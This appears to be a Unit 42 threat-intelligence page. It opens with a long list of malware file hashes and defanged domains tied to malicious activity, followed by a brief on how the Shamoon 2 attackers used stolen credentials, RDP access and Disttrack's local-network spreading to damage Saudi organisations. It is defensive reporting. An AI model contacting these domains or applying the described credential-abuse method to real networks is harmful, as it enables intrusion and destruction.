c7b07e16f61c792b8ccf5de098b0b291957b83184786b578bf87dcf3aba06d1e

550b73295af24954fba98ad5a86b2fb977d57e951c3b7f5deb10189bbb26a6fc

42c5651efc6ff62f6315f315f25c0407e773e702f43cca806ffb4c8ff899f524

69d69ef813c95e73881b8c0c567652f4c4c208d25ba778760f8becf79ac924e3

a1f766bbb2beae7a1211003e3b3e63f006ed28a1b7fb2e1549af1ffa2f0f477b

45c3824018e889e8fb006a83386a1e459b563cf9db1546f49c4bbc5faa9ea74e

e911e6e631d26b2f93779868d4b20224b2bfde798f2d42cb9870d951f4f10c53

f66536dff13b1ba415bd4c5fc172632465d33cc388899e976a49380da5620e45

f1af98d63fec8e0164aa6bac58c680c80075545aabdbdc49ef9cb45694d14642

e701fa1b68a80e77863e06de17a19a2f489aefe8af8b47bc0d908c726eb41053

03307e8bbbdceaa8393cdd13fd854d2705b5bfdf211b40a53113b915debbfc02

b5a785aa5284b96f08e9b191b3c1259d13e478523504486a24191b6e239b74e2

7c324b8b01db025d627df826283af003f54d2d5f20d6d52bee380a69a1fcd9d4

08cc9d83ae7f9805058555a43ec0f0daa73346feb38c2c244b3a4311f623d3b7

e73b2fdd33a250705dd044761a1890afe5ba0b1553b2c7ae5dbedd45e58c0a0a

e3d368a3e613f27cfd17db2ed439b6980f9bf0d10458d25066e316e4193c5d18

bfdad4010fb8104881c0392ff3d60e43e9eee73a7f8d00ab2097898dcfc14710

35f636b1876b17b923486924ebe629a98465b480f6635c9db09a16814a5eada3

320183fca03a973f746adba3e5bdac62be152bc4d32c6cf466383cd951ec2560

206c8c6f0bf5792631387b823cb4c1682041805b5c3241cd6d700c6e5475066b

b33e64b53c8f4af8e8cc75feb2de709da7614082ffd19f7a2110eb1b8b8ab546

31f6399b3423324eea084964bd979689bb367021b424e264f32c3787bfce85e7

4a1dcecd71ff7323eb3d0b1bcfc4d61b859e7734fcaa33b01bc3b727557b4d52

c2b5a2df6b792edac0d491a643cb525012f959934ba7a1846e14e51c810d8d42

ff5c86f1287d1b8ffc5822792ac00255176d706859749b7f2d4baef49f1f833a

dfa8a776451866e2773d57f79a839b2baddbf50792794993bdcefd0631c3f9b3

2977ecd28f44130c0afec70578b1c4fe240e39ad201d2ddd7fe1d9c2bd1330a2

5e0612a0124b15e193f630346800aee5307477110a5d4f8df23fc41d1d451387

b39ffb21bcba526d3ee503bcfdd18aee2a2bdec4b0798c6648fd3f25f3d78bb5

b86f42f252d586d032ee0e4022585c457f98f667bbe9f2f4ba4d53e6f34537fa

b30f53594e7e4b21a54c4011d67b2075185ca1b53084078b624341a8ab906702

7e83122da3f7152a5a03deca48dd600315b1c8c285c9e5922e7d691d6afe0f4f

271431e7eb1c89b52ffb154912925dcf9fc4210fa91a2b4c27f27037f1bc9e02

f98ac9b51c9395ed3d28dbfae6116b2f753dfec679223c6a4f9dac948a0e95a8

cc60033583227cda159007add0b3274f5752195bdae47495ee49d299b0a39ff4

0299289e2146e4655a8ba43191243dafab24023dafa857eaf82ed3ef423013a8

63f1f839dbac88b1ad4022e152379d3d909f30eaf34d08b3c459f16845082c94

b7bf2ad207ac67e422bc69ec0058fb21a8f52061b564e1ef565887eaf3dd1dca

d9c2be7b02dcf65889d764ba4ebf9908672c2a234cb4291d89826ff749909623

ca752bfec0b9f14a36c69e0c90edcc846f67923ae81ef5c5719480aecbbedff9

d23d4055c99b7bd3581a83443d934c95d2ec8dd9c690ba29b611e64587add39f

dd4d9ff987aaa9f2bdf526207a97d7182ef3be37fa08591a40e9bdcb8937c2d4

e3feff7f25d06c8e01d62d76a5f6272fa92f41ae05e0fbff51b67b9cc55cf452

00b3dcdeed117b8eaefff05246114c2ca49e88b3ccbac073c5cd87318e215f37

34084bc57ca269c05ef65720bc39d8bd284000316242721982f4538af351852a

df4e6982fe1977a49e37239b2d28a60b39317eb8dcb3e383c74b70fa62007b47

221302051095909ea47eac8ac8b9bcc82c51bab6946aca7c8822aee732fbee30

0205f46daf74ac9a66ac89dad04b805528656e482f452e616e9f260f1ec6f710

09cef29d19f76796b6effae5d6e193efc98c9e1e9e6523566ec995a78daf3dfc

ef704e0118c5935e0afd4632d10c1ef1e69ae026e73fcdc9d9b272db50a8aeba

126636a1fb2e955970051505d834d3d3571105cb82b28393c05222332e29e9c1

f9583642689abf8b472ebd1f67b7ef9b7728837452ac476e68c3f06d62447c6d

5050de5d74798d634d7639ef9638da8f9be63158bbcf2bbfb50038a7ee1e53ed

70871cb6d07a406f6b1748e5614e1ec33b879b159484a9f82354025a801cd1c3

26a93a22a3080545ab09ee93a7385cc0a85d9a75df8d0d88310d8bc639530714

abd5cf43abd878e8d7633e19bc309de840ec4e12624cabd99ac6152d9455d44f

b84328459e911de77827392db7967bb9ebefe90e365a8369ab8716a6b50aa5a2

dfdb3b363d82d552b8b1a1de116f6e68c2a055170a5c83f43575ad3ae9b90ddb

e5ef4e95831f24f345b4c00834b88b19098cada540da6aa60ba7ca861d20fd95

8e04108c5e164c1f077f0abeac10fdf295207e1f160350d999527ce23f078385

385b7126e4f3634ea1dda80d8bb4790e1b1a904d6232e51d0888ffd744b97dbf

3b12c8915af0cea47a7126b4a7f1ae788972dfac366d5573ef2681ff3d13ad41

05bb5e77bb934779bc7b6fff863bdc4f4db9759bf939c3cfff3ab0f75fcd13e7

e7ee85ec5a7c228be03b201502a1e74186f36c7611917bacd9fc67501df3606c

9f7e640951097f84b7ab42514ec2eae951b3c1b817c68efa9daae4345d2695b2

88e075627d93bbf43eabd699ca9afac0cceaf43f18f8c7ac43f2a7f93a247b55

06b8fa74196fa7edccb77a4bde000928a8ec15d56c5dd3c4af7237f876fc0991

c6db6e329d73616e6869bbb4f86fbdcab88c948176253df82729a2010493b09a

93867701be29f7154cf9f4bc72faad9e9859f4db3ed3030c04fcf03bab085b10

7f4fc4475cf86628ac5277c363fbe0bf47e87e726e4247eabe788e4440bf5bff

fd348ee3cc11647a87a7a065cc8dcc63cacad3349da567ce6cb5eb3f7d0a6ad1

fb6aa05b6c9a6d394d33f2a6cdd4a9c626eaf784990b69aab15e6ebc51908739

90aa424f52bd1f227ace86348c707ecc711c808526805915c50dfebf4bc49186

b131f561551cfe16804cffa4ed1651576ddb9e880913d245c23c7756311e474c

1d9ea027c8494e88148aa1b2d87bd13cf753902445423ac63257b89ccff1dd9e

88aafb45bb4e7d68b5476b4673fd38f49c233d42475f7460afae37610004b54a

40c4c891231a3932b5c15b42e1ff302f6fdf4776aab25a67f827333621795d9a

3191b3988616e9e834c883348ab635727d3d1b7e964226ee9488c1e7a482ce3f

f33d5ebb15bf924e590a2bea2c4cb914f1398b5694c2958b0c97c548327403ff

3f73b09d9cdd100929061d8590ef0bc01b47999f47fa024f57c28dcd660e7c22

76c566798ffcede356a8ba95a56c0400d41c746ad1a0f8503b66c9ae3a9e28da

09e39c3598fc68bd8193e47bad89723a8a989fc439cd717bc6cbdc596b144305

6d97956e23d15262be7af32eceff949ee708904cf5dce9cb6f6d732c37fe0692

5994178fd21ef4fbcea34a27890e24d56e5ebd247d26b4219f4d5475e4e00a9c

b2484daed920e8065605675822eb3b0e66d947f024dbc8193f39988a6e37afd9

4f7a58f1809fd0685ec815d0f5c910d39ef27ed2c4576339b3477a44aa756bad

86debb3398b60748c2c1d0d88694c7308f2017c6737490e84fe688396a0c5aa4

f2693ac1f73aa32dc4682ca66918e3ed78ed490cabc942018a6eca8c4aed9630

810e765fc4b9f838ed619a777528b243573d79e93ab29d8e1e3071ea2619fe0f

18241e18bdb290aa026d87c6d3dfa780d76347e8e966f3956bdfe44f36325473

c88771c9a6adc3c8bd6bd2d173c82f0e1c1a5966cbb2f05c5471b978840c2223

5f2e9aa038862b16ab09e6960262a25993e715df786a339bea352411e5e8ab12

f0b5592de97e7e7193b76e073ee21b090884f503c85258ab0cc1d780ae4e41c4

f22ed39d51c61cae0e03b2be39e05d1bfef05e55320aace141332a4a8ed3bd2c

de77795f1344857af0b583e38939f1cbf789b0989b6c8dca4e8ea3a6f0e646a1

60c2d4a1a5f757f5c9d3686bf85a5529e040049723ca3988e1f9560ea93a386d

3c0f463ac70d2f2415fbdb0446ba0fad290fd93b3db9708ffc4a4bdca0b5d4f7

9bb12887255696617d3e6356fe9f343473f6805db7dfabc6585a2ecd3289bff7

2829d72b813345348681d402184d53ec74fa491a0f3c726aae6c39b901fac1e9

d95990b7b03d017a64b8aa9f6133416176902d4195af9917660088245f4ebe7a

e267f9233c885d662804197e153e69cb2f7704f14b5d082dce7fe3c2d581d4df

6886aa1e2760b874a4950cac08e76259ff476a1976a0aeca4d392f60eefca6cc

1773b425ac6c670cabfdfa300c0b0c2724bd0585b87218c3119af39c170d3074

12558c50b9b61d080aac7b0890f1b95142316ae0d4e78dfb98672571543ecf6e

05789b1487fa274943d967834ad530bc89d94aeed8c240f96d9922f05d6fb101

a797aff0ed250f1fffbc6a718796b63907a94ac21d6bb712a5e7786670a9d1fe

f842607898e226fb480979112b0d67e3266ed7abf55f854851db0686ef5e4987

5584a83d69a01b2a3402c21f78284f6de8ac0a7e5dd5b25b6b9b59eb95f4eeaf

86c2d111086dba6c114ed114b1392183c2be4283b1702d5970601d7a29201178

1583319eb9266680c0cdc81937c76242306f365b767abe4f85322bace65f9d3c

949ad75ea9292d2d85498dc3a9ee033d736e40deba1a19a44419d91cee218a58

9011510e459b324b98b45284fba36d92c3dcafb2c9dc7a8a29256b3439a1c526

de6134aec7b39d8f90dcaf1da03ad50ecbc8b48a6e62b6a67d0cec68e9968267

c373ad48e60fb8a396a80927546e9898760422447981238d91679e6ee8a09d6d

2663d24e63d15e6f247039f7d0fb51958eddb5ad7043a2d305e24f8db6477271

8ff4c76bc1bf9a10b17fdcfdd300b89df94be848ecb0af81f6aefba38ec5bfae

102602fd35bd0d00d28f4dfb1bc4eb2a207e4d8cb9f4311ac7b1133f9e43da26

5f860598d21cceeb7d67142b3a75f94cdee5a4bd7ab8718a35b04264154097e3

f3e45f9e4dbd773b64cfe164de9e42f250f996b58b619fc2f0773be7965d235d

6369d5d194bcc1db2ba8d85c3d15b031a1c2f12463a4259e7cd4686c598e436b

ad91716f7148e6f1ecb70184139e32dcf8f5e521cd3f039f5a44d39d9c3ce09b

a8ba70be73578d901c5e2427fd2f63e06801dcba8726a82f1875d84ba147aaa3

7647a422655510e1de02e3d43b176d5c26d1d621680db9a58c047c9bdb615402

3b9b73d3b6e3337974e2bb2d1d49227fe5611354ebf294df56a514a8abfb413a

1a32705bffda8774bf600c81d77a517e809ba9efd93a4fa8608ae9ee78968e3c

413d664b5a7c3e6dbb1f39a971e09aee66e509846604f99ecfdb2be744ab8056

780129565290dfbc00f9bd85c6c0c2a74c980d2baa3ce7f60c102441155d4b07

bfff5e3879908b721c1c9c78cb8162dde2c557c7d8b2e191d75e702c437a4662

3f6a79d68262bbd4401fb9e889ab93d863cde5f095f6bbf3da286f06e41fb39d

215e742c07a0675d309855caf0a5b0560ef679e12b9f15c8ab2a22706bd6353a

1123b618043e9578eb6a50a5ee41bae55c23126448a100cdcfdae255a4f7d408

69c22ca5a0814c285769a05f93235161b24360d02cf24c9527a0eef8becc3886

103e8aa2363344bdbda105d471a6086d2fd4ca87bd71509c0704a096c13da70c

78d88775a781cb31e00dba41d7bb1f67a0928b2dc1b4ab6a0d26f038f894f175

ec341985ced6f2a6001e8b17491682cb69fefc417a90ae2773bc2de4fd6b705c

d2b523a861ecaa02e3ea0ea542087a09ea640ed36bc2c9cba311e91c7b01ecd0

66cbe12b2b6e8869bc5399f96aa73ebc949de0530030f358cca48077aae0b294

d9ee7be833f760311805e92c7b9c448d2c609f258997038383cb337d8183fe71

14ff515a168fb6649f58c4a9d86531b151187df3bfdd1589cbc9804d3a1ec7c9

023f81fd3a34ef94c9fd6928304426929672d4c7e9c98e60b631cbd2e2a56731

cbb7c2fedc753f62fa1bf47f2e0c6aa487eecfd27d867789764dbde97a8b9449

93369c703becbc0bb9960fb55b7d61ae733638e1e6eab10336faf8ce877925f6

f3a1fb80a5c79d3735ddc4328b915a4b034526ae96345c9b2465c16582ab54be

3e30805f1de04950d50d08176c8ac3c2974b42b30913c9aa11693d1a0e34b98a

3cada2c960ec431d0f13edcbee4dcfef1dcbdce0538b511f110cbee2e6470722

cec7a9270993443ed9cd798a3ac64693195805a410f56468518fa48cf5923876

9003bfa0553e0e027105f822d08a82050854ecf6488db4d3c412d6996b1bf632

5e139ca25b1519cc28a8096cb28d2be69f57b1af037674a81902f9c605777543

f40f1dda30d5f959bc21b0049432c53bb06992c7c8fdd5e886a9b3a0fab06877

b2a2d63c68fce4d4bfddd4fd8584b6c638ee26664785df436c48ffa16e177893

fa91599afa18eff9735b0c0328c8cb0fc305f8d924ebb36a609e50e4a6ab256c

0a31bfdc22ff3cea5a160b2c32a98764027be7512ced50825d1be0b93a7e7aa4

6bd3c86cb1f04d08407fccda35b0dd2fc8bd83a3c10f913dded93b4bbba182c9

0909f8383cd77107234b5c1aa1c80a1f1bc2e8a2832284ff3de6636d5ed16b8a

9dde31f29d5180b26eb93dfe2fc07bae76f929b8d3add20fc577033ae234b437

28e888ec5247511d01df376f4be7e08c64841df37d9846580e87145c8efbbd10

5693592ed69ca1cf0a5f8dcf8f548c063da287ce3e164a89df720a39a290feea

1b6651a523be1c42f779877ad11f3b52130686aad4fd4ecdfbc15afbcea56aa2

6d99f010c237fec5ff022cdf2f0df8b26429c1d5f223ca4f1658fc833c9cef3e

46089e4e9aebf5fd5ad1ffaecb3bee5d7490f2cc53b5ed66b7509282ca29438b

998481fbb26e890b83e1738ee12281103ca77775a20c1c6f1705eb6552237e3b

4b373c2d50e600fdae5259bbd3e989d002a776c443869b92afeb5d53b73bd1c0

1f376d4c4febcafa6bdcf8877121c20697046c15f71983a9210762fbf3b5455e

0321f7948476480ab1875ccdeac46c37a58c2f60d63d2a787bdcf292ff2a5685

3bb134617af6f7b0f0c483b315f7ea45b2ed2c4a91005b453c9ec9e86ef0d70b

dad5e918c4ce849f682485bd79e097ac097b554daa897b12151b4595d67980aa

7b801c415f2fb9210c4d89e7d6332c1a812defe78b234d658b60f9337b8f4266

75285821f9997b304058e8bf76c7c3f9f4abcf47e0dffea73d6256f657b9e778

210024ece45a6935da89ab7c5ae3293616679414e96e2157e49f9f607c831bdc

97bbfb81f930d138ff47c3b899eee6917802385b8c8c1626a7679c5cab41c4a2

cbc9e5552cda22130cd7a84cd4b3c68e95eb3f8c2e83dd77253bd1822d1f840d

bf00cd1bc34ce457b0e4a99a8df5b7fda512496dc32f2762923254bc85261afb

9de260dcfe2f5a852c0cff238ffc3fe3fc93feff008463af49f68c9f5b5ebc9b

cadb1646563a317ac72579e8691c464bab439667811fb0d850bc2e950a3a332c

dd3d708ba8ce177fd1f756ac5eb3347a0ec7cf65706438ea5bbdfe9125b0dbe4

31df6ec1089e720c09e29f35ce33203359128c99cc0e4b03ec3e38237e8151ff

e349394a043e11410ed3e7c35c70d85dbb9c5e512b593e51e1acde3b404414a2

dddb5843c775ae47b37fd02c378699b4e250ac32739f30e0949bdaa28050a595

42da6fd7f6ba8b90ffd1298d068045c7928cef6506642e69859e0b962b5864a8

e6624eb4520d41516f64aa64a00ee224c8bf257403a12a9665d552348dad1bd5

79ca3b8afac2ca896d7db2110789a187ad75810e2d92aa6f0378f73c1f72006f

ad08a0e1dace8d5a443a4bd21ec8d935e267f364ae1b152edaccb0b1f82870d7

b87ada7c17cdb5b7c3cf1e6a0d35515c62112126f2f983c1190a6d9d1060b7db

2ec204d0f35404c2548ac3dbc7b02e5db7ba28d4bc5c701986f0bfcee2a5fa5a

77e1dfaeb73c4edf762f9503c428c1d92af6882b48305f5f5b070ec136575e43

610d37dfb3089b516e4bced89de0c5161614d50ca511853f7be81138dfc4e844

60ff74d053037b5ae70eeaf199a0acba35f58d275d12915ae8ed813dbf9a5b55

376943f886b264824f6063e7dfc54a1a2d5071a3d44dec05208596079d6cf276

89d4d851e6729a854fccb4d4f9277f9f545396714ff2b108d29c7ff418a501a3

18db52a63720187b2afd57667e9ebdcb0a50a8e99909340281dcd07e266d761f

bb05a0d905b915e2e84a8e69c2af438f72730131c5a1e3e1fe85df13c61182ac

187155b727346d63c1b1c8e4e3ae88aed89746a4a323b5170139fa5aa760b3a3

7451c813eebe45ee8c743abc5e75c9475cab427d44e9a255f89f73c4e7ca7106

44cd0fdb877838f559d60500cd08cee66d8a79005d7e86f81671c18ec7ab3cb5

810aed604e1ec5d5aec00c783bc44e5ca753c5c0f2dc64f431c8f8d48b6dbf41

Appendix B: Associated Domains

1c-host[.]host

1cpred[.]org

allforest[.]pw

antiprt[.]com

atonix[.]pw

babbabbab[.]ru

babbabbab2[.]ru

babbebbab[.]com

babbebbab2[.]com

babbibbab2[.]ua

babbihbab[.]host

babblabbab2[.]link

babblahbab[.]com

babblebbab[.]pw

babblebbab2[.]pw

babblehbab[.]top

babblibbab2[.]xyz

babblihbab[.]link

babblohbab[.]pw

babblulbab[.]pw

babbobbab[.]link

babbohbab[.]com

babbolbab[.]host

babbolbab[.]ru

babbrabbab2[.]xyz

babbrebbab[.]rocks

babbrebbab2[.]rocks

babbrehbab[.]pw

babbribbab2[.]space

babbrihbab[.]xyz

babbrohbab[.]rocks

babbrulbab[.]rocks

babbulbab[.]com

babchabbab[.]org

babchabbab2[.]org

babchebbab2[.]ru

babchehbab[.]in

babchibbab[.]com

babchihbab[.]org

babcholbab[.]org

babclabbab2[.]space

babclebbab[.]biz

babclebbab2[.]biz

babclehbab[.]rocks

babclibbab2[.]in

babclihbab[.]space

babclohbab[.]biz

babclulbab[.]biz

babcrabbab2[.]in

babcrambab[.]ru

babcrebbab[.]org

babcrebbab2[.]org

babcrehbab[.]biz

babcribbab[.]ru

babcrihbab[.]in

babcrohbab[.]org

babcruhbab[.]host

babcrulbab[.]org

babdabbab[.]ua

babdabbab2[.]ua

babdebbab[.]link

babdebbab2[.]link

babdibbab2[.]pw

babdihbab[.]top

babdobbab[.]xyz

babdohbab[.]link

babdolbab[.]top

babdrabbab2[.]ru

babdrambab[.]ua

babdrebbab[.]com

babdrebbab2[.]com

babdrehbab[.]org

babdribbab[.]ua

babdrihbab[.]host

babdrohbab[.]com

babdruhbab[.]top

babdrulbab[.]com

babdulbab[.]link

babfabbab[.]pw

babfabbab2[.]pw

babfebbab[.]top

babfebbab[.]xyz

babfebbab2[.]xyz

babfibbab2[.]rocks

babfihbab[.]pw

babflabbab2[.]ua

babflambab[.]pw

babflebbab[.]link

babflebbab2[.]link

babflehbab[.]com

babflibbab[.]pw

babflihbab[.]top

babflohbab[.]link

babfluhbab[.]pw

babflulbab[.]link

babfobbab[.]space

babfohbab[.]xyz

babfolbab[.]pw

babfrabbab2[.]pw

babfrebbab[.]xyz

babfrebbab2[.]xyz

babfrehbab[.]link

babfribbab[.]rocks

babfrihbab[.]pw

babfrohbab[.]xyz

babfrulbab[.]xyz

babfulbab[.]xyz

babgabbab2[.]rocks

babgebbab[.]space

babgebbab2[.]space

babgibbab2[.]biz

babgihbab[.]rocks

babglabbab2[.]rocks

babglebbab[.]space

babglebbab2[.]space

babglehbab[.]xyz

babglibbab[.]biz

babglihbab[.]rocks

babglohbab[.]space

babglulbab[.]space

babgobbab[.]in

babgofbab[.]biz

babgohbab[.]space

babgrabbab2[.]biz

babgrebbab[.]in

babgrebbab2[.]in

babgrehbab[.]space

babgribbab[.]org

babgrihbab[.]biz

babgrohbab[.]in

babgrulbab[.]in

babgulbab[.]space

babhabbab2[.]biz

babhebbab[.]in

babhebbab2[.]in

babhibbab2[.]org

babhihbab[.]biz

babhohbab[.]in

babhulbab[.]in

babjabbab2[.]org

babjebbab[.]ru

babjebbab2[.]ru

babjibbab2[.]com

babjihbab[.]org

babjohbab[.]host

babjulbab[.]host

babkabbab2[.]com

babkebbab[.]ua

babkebbab2[.]ua

babkehbab[.]host

babkibbab2[.]link

babkihbab[.]com

babkohbab[.]top

babkulbab[.]top

bablabbab2[.]link

bablebbab[.]pw

bablebbab2[.]pw

bablehbab[.]top

bablibbab2[.]xyz

bablihbab[.]link

bablohbab[.]pw

bablulbab[.]pw

babmabbab[.]xyz

babmabbab2[.]xyz

babmebbab[.]rocks

babmebbab2[.]rocks

babmehbab[.]pw

babmibbab2[.]space

babmihbab[.]xyz

babmilbab[.]pw

babmohbab[.]rocks

babmulbab[.]rocks

babnabbab2[.]space

babnebbab[.]biz

babnebbab2[.]biz

babnehbab[.]rocks

babnibbab2[.]in

babnihbab[.]space

babnohbab[.]biz

babnulbab[.]biz

babpabbab2[.]in

babpebbab[.]org

babpebbab2[.]org

babpehbab[.]biz

babpibbab2[.]ru

babpihbab[.]in

babplabbab2[.]org

babplebbab[.]ru

babplebbab2[.]ru

babplehbab[.]in

babplibbab[.]com

babplifbab[.]ru

babplihbab[.]org

babplohbab[.]host

babplulbab[.]host

babpohbab[.]org

babprabbab2[.]com

babprebbab[.]ua

babprebbab2[.]ua

babprehbab[.]host

babpribbab[.]link

babprihbab[.]com

babprulbab[.]top

babpulbab[.]org

babrabbab2[.]ru

babrebbab[.]com

babrebbab2[.]com

babrehbab[.]org

babribbab2[.]ua

babrihbab[.]host

babrohbab[.]com

babrulbab[.]com

babsabbab2[.]ua

babsahbab[.]host

babsebbab[.]link

babsebbab2[.]link

babsehbab[.]com

babsibbab2[.]pw

babsihbab[.]top

babskabbab2[.]link

babskebbab[.]pw

babskebbab2[.]pw

babskehbab[.]top

babskibbab[.]xyz

babskihbab[.]link

babslabbab2[.]xyz

babslebbab2[.]rocks

babslehbab[.]pw

babslibbab[.]space

babslihbab[.]xyz

babsmabbab2[.]space

babsmebbab2[.]biz

babsmehbab[.]rocks

babsmibbab[.]in

babsmihbab[.]space

babsnabbab2[.]in

babsnebbab2[.]org

babsnehbab[.]biz

babsnibbab[.]ru

babsnihbab[.]in

babsofbab[.]pw

babsohbab[.]link

babspabbab[.]ru

babspabbab2[.]ru

babspebbab2[.]com

babspefbab[.]ru

babspehbab[.]org

babspibbab[.]ua

babspihbab[.]host

babspolbab[.]host

babstabbab[.]ua

babstabbab2[.]ua

babstebbab2[.]link

babstefbab[.]com

babstehbab[.]com

babstibbab[.]pw

babstihbab[.]top

babstolbab[.]top

babstrabbab[.]pw

babstrabbab2[.]pw

babstrebbab2[.]xyz

babstrefbab[.]pw

babstrehbab[.]link

babstribbab[.]rocks

babstrihbab[.]pw

babstrolbab[.]pw

babsulbab[.]link

babswabbab[.]rocks

babswabbab2[.]rocks

babswebbab2[.]space

babswehbab[.]xyz

babswibbab[.]biz

babswihbab[.]rocks

babswolbab[.]rocks

babtabbab2[.]pw

babtahbab[.]top

babtebbab[.]xyz

babtebbab2[.]xyz

babtehbab[.]link

babtibbab2[.]rocks

babtihbab[.]pw

babtohbab[.]xyz

babtrabbab[.]biz

babtrabbab2[.]biz

babtrebbab2[.]in

babtrehbab[.]space

babtribbab[.]org

babtrihbab[.]biz

babtrolbab[.]biz

babtulbab[.]xyz

babvabbab2[.]rocks

babvahbab[.]pw

babvebbab[.]space

babvebbab2[.]space

babvehbab[.]xyz

babvibbab2[.]biz

babvihbab[.]rocks

babvohbab[.]space

babvulbab[.]space

babwabbab2[.]biz

babwahbab[.]rocks

babwebbab[.]in

babwebbab2[.]in

babwehbab[.]space

babwibbab2[.]org

babwihbab[.]biz

babwohbab[.]in

babwulbab[.]in

babyabbab2[.]org

babyahbab[.]biz

babyebbab[.]ru

babyebbab2[.]ru

babyehbab[.]in

babyibbab2[.]com

babyihbab[.]org

babyohbab[.]host

babyulbab[.]host

babzabbab2[.]com

babzahbab[.]org

babzebbab[.]ua

babzebbab2[.]ua

babzehbab[.]host

babzibbab2[.]link

babzihbab[.]com

babzohbab[.]top

babzulbab[.]top

bannarbor[.]pw

bisquitshore[.]xyz

bitrixon[.]biz

buhgalter[.]pw

buhgalter[.]rocks

buhgalters[.]xyz

businessolution[.]site

cheturion[.]org

chipacom[.]net

cloneduring[.]pw

companysafa[.]biz

corpofname[.]pw

datamining[.]press

dersteoyna[.]pw

dovnikus[.]su

efros[.]pw

flashclicks[.]info

forbusinessgo[.]xyz

fortificar[.]net

fracking[.]host

gateoflife[.]pw

gaz[.]rocks

gedealer[.]pw

globuspp[.]pw

grandvita[.]pw

greenlanterns[.]xyz

greenworldsun[.]xyz

guardomorph[.]com

guwang[.]pw

jobforreborn[.]xyz

kokinatsu[.]pw

kukuzaki[.]me

kupala[.]me

lastsnow[.]link

maradonianos[.]pw

mercurytod[.]pw

muxa[.]club

mycorpsafa[.]biz

n-nalog78[.]com

newsunconcept[.]in

newsupport[.]us

nothingmore[.]us

novayarabota[.]pw

nvpn[.]pw

odejda77[.]net

okvd[.]biz

olen[.]bid

onechat[.]pw

placetobuy[.]pw

platej[.]pw

poplata-da[.]org

portw[.]org

powersand[.]link

pricemeet[.]pw

puldisk[.]xyz

rabotadnya[.]pw

raintor[.]pw

ricarier[.]org

rosgaz[.]pw

rumoney[.]xyz

salesforlife[.]top

salesline[.]top

sam-sam[.]pw

sandstyle[.]biz

sandw[.]pw

santrimo[.]lol

seclist[.]site

seclist[.]top

selenaspace[.]space

sellgrax[.]club

semodo[.]pw

sensetunoespossible[.]cat

shortsell[.]trade

shortselling[.]club

sixgoats[.]pw

snp500[.]trade

solotender[.]pw

sslprivate[.]org

tapalulumba[.]com

taskhoper[.]com

titleworld[.]pw

torglend[.]com

tradertop[.]top

trendkop[.]pw

tyuocruz1312[.]net

uchet[.]pw

uchet[.]space

visitpalace[.]xyz

volumexp[.]xyz

vortexenism[.]biz

vpnserv[.]pw

vwv.flashclicks[.]info

winsocket[.]xyz

yearreviews[.]net

Ignite ’17 Security Conference: Vancouver, BC June 12–15, 2017

Updated 3/30/17: To remove unnecessary IPS Signature number.

Threat Brief: Credential Theft - The Keystone of the Shamoon 2 Attacks

Posted on March 27, 2017June 10, 2019 by Unit 42

Unit 42 researchers have been following the Shamoon 2 attacks closely since November 2016. To date, Shamoon 2 has unfolded in three separate attack waves on November 11, 2016, November 29, 2016, and January 23, 2017.

Based on our newest research, we can answer a question that many have had about these attacks: how is Shamoon 2 able to enter an organization’s network and spread so widely? The answer is simple: credential theft.

Credential theft has been known to be a key part of the Shamoon 2 attacks. What our research is showing that’s new is how the attackers use the credentials once they’ve breached the network. And from this we can see how credential theft is the keystone of Shamoon 2 attacks; if an organization can prevent credential theft, the Shamoon 2 attacks can’t succeed.

In our research, we’re able to outline that Shamoon 2 enters and spreads through an organization in three stages:

Shamoon 2 attackers access and compromise a single system in the network, using Remote Desktop Protocol (RDP) with stolen, legitimate credentials. This becomes their distribution server: they download their tools and malware to this system.
Attackers execute commands on the distribution server to connect to specific, named systems on the network, using the stolen, legitimate credentials, and infect them with the Disttrack malware.
The Disttrack malware will execute on those named systems the attacker has successfully infected. The Disttrack malware will attempt to connect to and spread itself to up to 256 IP addresses on its local network. Any systems successfully infected in this stage will also attempt to infect up to 256 IP addresses on their local networks.

These stages are outlined in the image below.

And that credential theft is a key element in each stage:

Attackers must have valid credentials to gain access via RDP to the system they will use as their distribution server in Stage 1.
Once on the distribution server, the attackers must be able to execute their tools and scripts in an account that has valid credentials for them to successfully connect to and control the named hosts in Stage 2.
The Disttrack malware itself must have valid, stolen credentials embedded within it to spread itself in Stage 3.

It’s also worth noting that credentials are a keystone issue in Shamoon 2 wave 2 too: we saw evidence of targeting an organization’s virtual desktop infrastructure (VDI) solutions with default credentials. While not stolen credentials, the effect is the same: attackers can use those credentials to abuse otherwise legitimate access and privileges to carry out their attacks.

At this time, we do not have research that explains definitively how the Shamoon 2 attackers have obtained these credentials. We do believe there is evidence suggestive of a connection between Shamoon 2 and the Magic Hound campaign, which could indicate these two attack campaigns could have worked in conjunction with each other to execute the Shamoon 2 attacks.

We also believe the presence of specific, valid named hosts from the network used in Stage 2 shows they were obtained directly from Active Directory on a domain controller. This is also suggestive of access to the network through legitimate, stolen credentials. In one sample we examined, we found a total of 844 hostnames.

This also helps to set context for how widely Disttrack can attempt to spread: 844 systems, each attempting to spread to 256, means that from one distribution server, Shamoon 2 attackers could potentially try to spread Disttrack to 216,064 systems; and that’s not counting if any of those infected systems, in turn, attempts to spread to an additional 256 systems.

Shamoon 2 attacks are very targeted to a specific region. But it would be a mistake to write-off the threat that Shamoon 2 demonstrates. Shamoon 2 attackers are using a rudimentary, but effective, distribution system of their own making. The power of their attack doesn’t lie in the tools they use but in their ability to obtain and abuse legitimate credentials.

This underscores why credential theft is something that organizations should prioritize as a top threat and take steps to understand it and prevent it. We’ve recently published a new Unit 42 white paper on credential theft that we encourage you to read.

To help customers take steps to better understand and protect against this threat, we’ve posted information in our article PAN-OS Configuration Recommendations to Protect Against Shamoon 2 located in our Threat and Vulnerability Articles section on our Live Community. You can also join in the discussion in our “About Threat and Vulnerability Discussions” on the Live Community.

Ignite ’17 Security Conference: Vancouver, BC June 12–15, 2017

Shamoon 2: Delivering Disttrack

Posted on March 27, 2017November 1, 2018 by Robert Falcone

Since late November 2016, the Shamoon 2 attack campaign has brought three waves of destructive attacks to organizations within Saudi Arabia. Our investigation into these attacks has unearthed more details into the method by which the threat actors delivered the Disttrack payload. We have found evidence that the actors use a combination of legitimate tools and batch scripts to deploy the Disttrack payload to hostnames known to the attackers to exist in the targeted network.

Our analysis shows that the actors likely gathered the list of known hostnames directly from Active Directory or during their network reconnaissance activities conducted from a compromised host. This network reconnaissance, coupled with the credential theft needed to hardcode Disttrack payloads with legitimate username and password credentials, leads us to believe that it is highly likely the threat actors had sustained access to the targeted networks prior to Shamoon 2 attacks. Our research confirms that successful credential theft from targeted organizations was an integral part of the Shamoon 2 attackers’ playbook, and they used these stolen credentials for remote access and lateral movement.

